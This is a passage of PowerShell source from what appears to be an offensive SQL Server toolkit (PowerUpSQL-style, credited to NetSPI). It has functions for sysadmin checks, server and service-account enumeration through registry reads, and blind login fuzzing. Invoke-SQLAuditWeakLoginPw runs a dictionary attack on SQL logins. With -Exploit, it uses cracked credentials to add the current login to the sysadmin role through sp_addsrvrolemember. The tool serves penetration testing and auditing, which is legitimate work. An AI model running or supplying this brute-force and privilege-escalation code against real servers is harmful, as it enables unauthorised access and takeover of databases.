Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014 ComputerName Instance IsSysadmin ------------ -------- ---------- SQLServer1 SQLServer1\STANDARDDEV2014 Yes .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Data for output $TblSysadminStatus = New-Object -TypeName System.Data.DataTable # Setup CredentialName filter if($CredentialName) { $CredentialNameFilter = " WHERE name like '$CredentialName'" } else { $CredentialNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], CASE WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' ELSE 'Yes' END as IsSysadmin" # Execute Query $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp } End { # Return data $TblSysadminStatus } } Function Get-SQLServerInfo { <# .SYNOPSIS Returns basic server and user information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DomainName : Domain ServiceProcessId : 6758 ServiceName : MSSQL$STANDARDDEV2014 ServiceAccount : LocalSystem AuthenticationMode : Windows and SQL Server Authentication Clustered : No SQLServerVersionNumber : 12.0.4213.0 SQLServerMajorVersion : 2014 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : SP1 OSArchitecture : X64 OsMachineType : WinNT OSVersionName : Windows 8.1 Pro OsVersionNumber : 6.3 Currentlogin : Domain\MyUser IsSysadmin : Yes ActiveSessions : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServerInfo = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get number of active sessions for server $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Where-Object -FilterScript { $_.SessionStatus -eq 'running' } | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { # Grab additional information if sysadmin $SysadminSetup = " -- Get machine type DECLARE @MachineType SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', @value_name = N'ProductType', @value = @MachineType output -- Get OS version DECLARE @ProductName SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', @value_name = N'ProductName', @value = @ProductName output" $SysadminQuery = ' @MachineType as [OsMachineType], @ProductName as [OSVersionName],' } else { $SysadminSetup = '' $SysadminQuery = '' } # Define Query $Query = " -- Get SQL Server Information -- Get SQL Server Service Name and Path DECLARE @SQLServerInstance varchar(250) DECLARE @SQLServerServiceName varchar(250) if @@SERVICENAME = 'MSSQLSERVER' BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' set @SQLServerServiceName = 'MSSQLSERVER' END ELSE BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) END -- Get SQL Server Service Account DECLARE @ServiceaccountName varchar(250) EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' -- Get authentication mode DECLARE @AuthenticationMode INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', @AuthenticationMode OUTPUT -- Get the forced encryption flag BEGIN TRY DECLARE @ForcedEncryption INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib', N'ForceEncryption', @ForcedEncryption OUTPUT END TRY BEGIN CATCH END CATCH -- Grab additional information as sysadmin $SysadminSetup -- Return server and version information SELECT '$ComputerName' as [ComputerName], @@servername as [Instance], DEFAULT_DOMAIN() as [DomainName], SERVERPROPERTY('processid') as ServiceProcessID, @SQLServerServiceName as [ServiceName], @ServiceAccountName as [ServiceAccount], (SELECT CASE @AuthenticationMode WHEN 1 THEN 'Windows Authentication' WHEN 2 THEN 'Windows and SQL Server Authentication' ELSE 'Unknown' END) as [AuthenticationMode], @ForcedEncryption as ForcedEncryption, CASE SERVERPROPERTY('IsClustered') WHEN 0 THEN 'No' ELSE 'Yes' END as [Clustered], SERVERPROPERTY('productversion') as [SQLServerVersionNumber], SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], serverproperty('Edition') as [SQLServerEdition], SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], $SysadminQuery RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], SYSTEM_USER as [Currentlogin], '$IsSysadmin' as [IsSysadmin], '$ActiveSessions' as [ActiveSessions]" # Execute Query $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append as needed $TblServerInfo = $TblServerInfo + $TblServerInfoTemp } End { # Return data $TblServerInfo } } Function Get-SQLFuzzServerLogin { <# .SYNOPSIS Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER FuzzNum The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login. .PARAMETER GetRole Checks if the principal name is a role, SQL login, or Windows account. .EXAMPLE PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40 ComputerName Instance PrincipalId PrincipleName ------------ -------- ---------- ------------- SQLServer1 SQLServer1\STANDARDDEV2014 1 sa SQLServer1 SQLServer1\STANDARDDEV2014 2 public SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 121 ##Agent XPs## SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs## SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs## SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs## SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures## SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures## SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell## SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries## SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs## SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin## SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014 SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin## SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1 SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2 SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3 SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1 SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2 SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Number of Principal IDs to fuzz.')] [string]$FuzzNum = 10000, [Parameter(Mandatory = $false, HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')] [switch]$GetPrincipalType, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblFuzzedLogins = New-Object -TypeName System.Data.DataTable $null = $TblFuzzedLogins.Columns.add('ComputerName') $null = $TblFuzzedLogins.Columns.add('Instance') $null = $TblFuzzedLogins.Columns.add('PrincipalId') $null = $TblFuzzedLogins.Columns.add('PrincipleName') if($GetPrincipalType) { $null = $TblFuzzedLogins.Columns.add('PrincipleType') } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query # Reference: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7 $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], n [PrincipalId], SUSER_NAME(n) as [PrincipleName] from ( select top $FuzzNum row_number() over(order by t1.number) as N from master..spt_values t1 cross join master..spt_values t2 ) a where SUSER_NAME(n) is not null" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Process results $TblResults | ForEach-Object { # check if principal is role, sql login, or windows account $PrincipalName = $_.PrincipleName $PrincipalId = $_.PrincipalId if($GetPrincipalType) { $RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'" $RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError # Check the error message for a signature that means the login is real if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*')) { if($PrincipalName -like '*\*') { $PrincipalType = 'Windows Account' } else { $PrincipalType = 'SQL Login' } } else { $PrincipalType = 'SQL Server Role' } } # Add to result set if($GetPrincipalType) { $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType) } else { $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName) } } } End { # Return data $TblFuzzedLogins | Where-Object -FilterScript { $_.PrincipleName.length -ge 2 } if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Complete." } } } Function Invoke-SQLAuditWeakLoginPw { <# .SYNOPSIS Perform dictionary attack for common passwords. By default, it will enumerate SQL Server logins and the current login and test for "username" as password for each enumerated login. .PARAMETER Username Known SQL Server login to obtain a list of logins with for testing. .PARAMETER TestUsername SQL Server or domain account to authenticate with. .PARAMETER UserFile Path to list of users to use. One per line. .PARAMETER Password Known SQL Server login password to obtain a list of logins with for testing. .PARAMETER TestPassword Password to test provided or discovered logins with. .PARAMETER PassFile Path to list of password to use. One per line. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoUserAsPass Don't try to login using the login name as the password. .PARAMETER NoUserEnum Don't try to enumerate logins to test. .PARAMETER FuzzNum The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Weak Login Password Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. Details : The testuser (Not Sysadmin) is configured with the password testuser. Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 ComputerName : SQLServer1 Instance : SQLServer1\Express Vulnerability : Weak Login Password Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. Details : The testadmin (Sysadmin) is configured with the password testadmin. Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Known SQL Server login to fuzz logins with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Username to test.')] [string]$TestUsername = 'sa', [Parameter(Mandatory = $false, HelpMessage = 'Path to list of users to use. One per line.')] [string]$UserFile, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Known SQL Server password to fuzz logins with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server password to attempt to login with.')] [string]$TestPassword, [Parameter(Mandatory = $false, HelpMessage = 'Path to list of passwords to use. One per line.')] [string]$PassFile, [Parameter(Mandatory = $false, HelpMessage = 'User is tested as pass by default. This setting disables it.')] [switch]$NoUserAsPass, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't attempt to enumerate logins from the server.")] [switch]$NoUserEnum, [Parameter(Mandatory = $false, HelpMessage = 'Number of Principal IDs to fuzz.')] [string]$FuzzNum = 10000, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [switch]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName $CurrentUSerSysadmin = $ServerInfo.IsSysadmin # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Weak Login Password' $Description = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.' $Remediation = 'Ensure all SQL Server logins are required to use a strong password. Consider inheriting the OS password policy.' $Severity = 'High' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.' $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Create empty user / password lists $LoginList = @() $PasswordList = @() # Get logins for testing - file if($UserFile) { Write-Verbose -Message "$Instance - Getting logins from file..." Get-Content -Path $UserFile | ForEach-Object -Process { $LoginList += $_ } } # Get logins for testing - variable if($TestUsername) { Write-Verbose -Message "$Instance - Getting supplied login..." $LoginList += $TestUsername } # Get logins for testing - fuzzed if(-not $NoUserEnum) { # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { # Check if sysadmin $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { # Query for logins Write-Verbose -Message "$Instance - Getting list of logins..." Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.PrincipalType -eq 'SQL_LOGIN' } | Select-Object -Property PrincipalName -ExpandProperty PrincipalName | ForEach-Object -Process { $LoginList += $_ } } else { # Fuzz logins Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.." Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -FuzzNum $FuzzNum -SuppressVerbose | Where-Object -FilterScript { $_.PrincipleType -eq 'SQL Login' } | Select-Object -Property PrincipleName -ExpandProperty PrincipleName | ForEach-Object -Process { $LoginList += $_ } } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials." } return } } # Check for users or return - count array if($LoginList.count -eq 0 -and (-not $FuzzLogins)) { Write-Verbose -Message "$Instance - No logins have been provided." return } # Get passwords for testing - file if($PassFile) { Write-Verbose -Message "$Instance - Getting password from file..." Get-Content -Path $PassFile | ForEach-Object -Process { $PasswordList += $_ } } # Get passwords for testing - variable if($TestPassword) { Write-Verbose -Message "$Instance - Getting supplied password..." $PasswordList += $TestPassword } # Check for provided passwords if($PasswordList.count -eq 0 -and ($NoUserAsPass)) { Write-Verbose -Message "$Instance - No passwords have been provided." return } # Iternate through logins and perform dictionary attack Write-Verbose -Message "$Instance - Performing dictionary attack..." $LoginList | Select-Object -Unique | ForEach-Object -Process { $TargetLogin = $_ $PasswordList | Select-Object -Unique | ForEach-Object -Process { $TargetPassword = $_ $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestPass) { # Check if guess credential is a sysadmin $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { $SysadminStatus = 'Sysadmin' } else { $SysadminStatus = 'Not Sysadmin' } Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword" if($Exploit) { Write-Verbose -Message "$Instance - Trying to make you a sysadmin..." # Check if the current login is a sysadmin $IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin1 -eq 'Yes') { Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." } else { Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." # Add current user as sysadmin if login was successful Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose # Check if the current login is a sysadmin again $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin2 -eq 'Yes') { $Exploited = 'Yes' Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." } else { $Exploited = 'No' Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." } } } # Add record $Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword." $IsVulnerable = 'Yes' $IsExploitable = 'Yes' $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword" } } } # Test user as pass if(-not $NoUserAsPass) { $LoginList | Select-Object -Unique | ForEach-Object -Process { $TargetLogin = $_ $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestPass) { # Check if user/name combo has sysadmin $IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin3 -eq 'Yes') { $SysadminStatus = 'Sysadmin' } else { $SysadminStatus = 'Not Sysadmin' } Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin" if(($Exploit) -and $IsSysadmin3 -eq 'Yes') { # Check if the current login is a sysadmin $IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin4 -eq 'Yes') { Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." } else { Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." # Add current user as sysadmin if login was successful Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose # Check if the current login is a sysadmin again $IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin5 -eq 'Yes') { $Exploited = 'Yes' Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." } else { $Exploited = 'No' Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." } } } # Add record $Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin." $IsVulnerable = 'Yes' $IsExploitable = 'Yes' $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin" } } } # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # Check if the link is alive and verify connection + check if sysadmin # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password" } End { # Return data if ( -not $NoOutput) { Return $TblData | Sort-Object -Property computername, instance, details } } } Function Get-SQLDatabase { <# .SYNOPSIS Returns database information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER NoDefaults Only select non default databases. .PARAMETER HasAccess Only select databases the current user has access 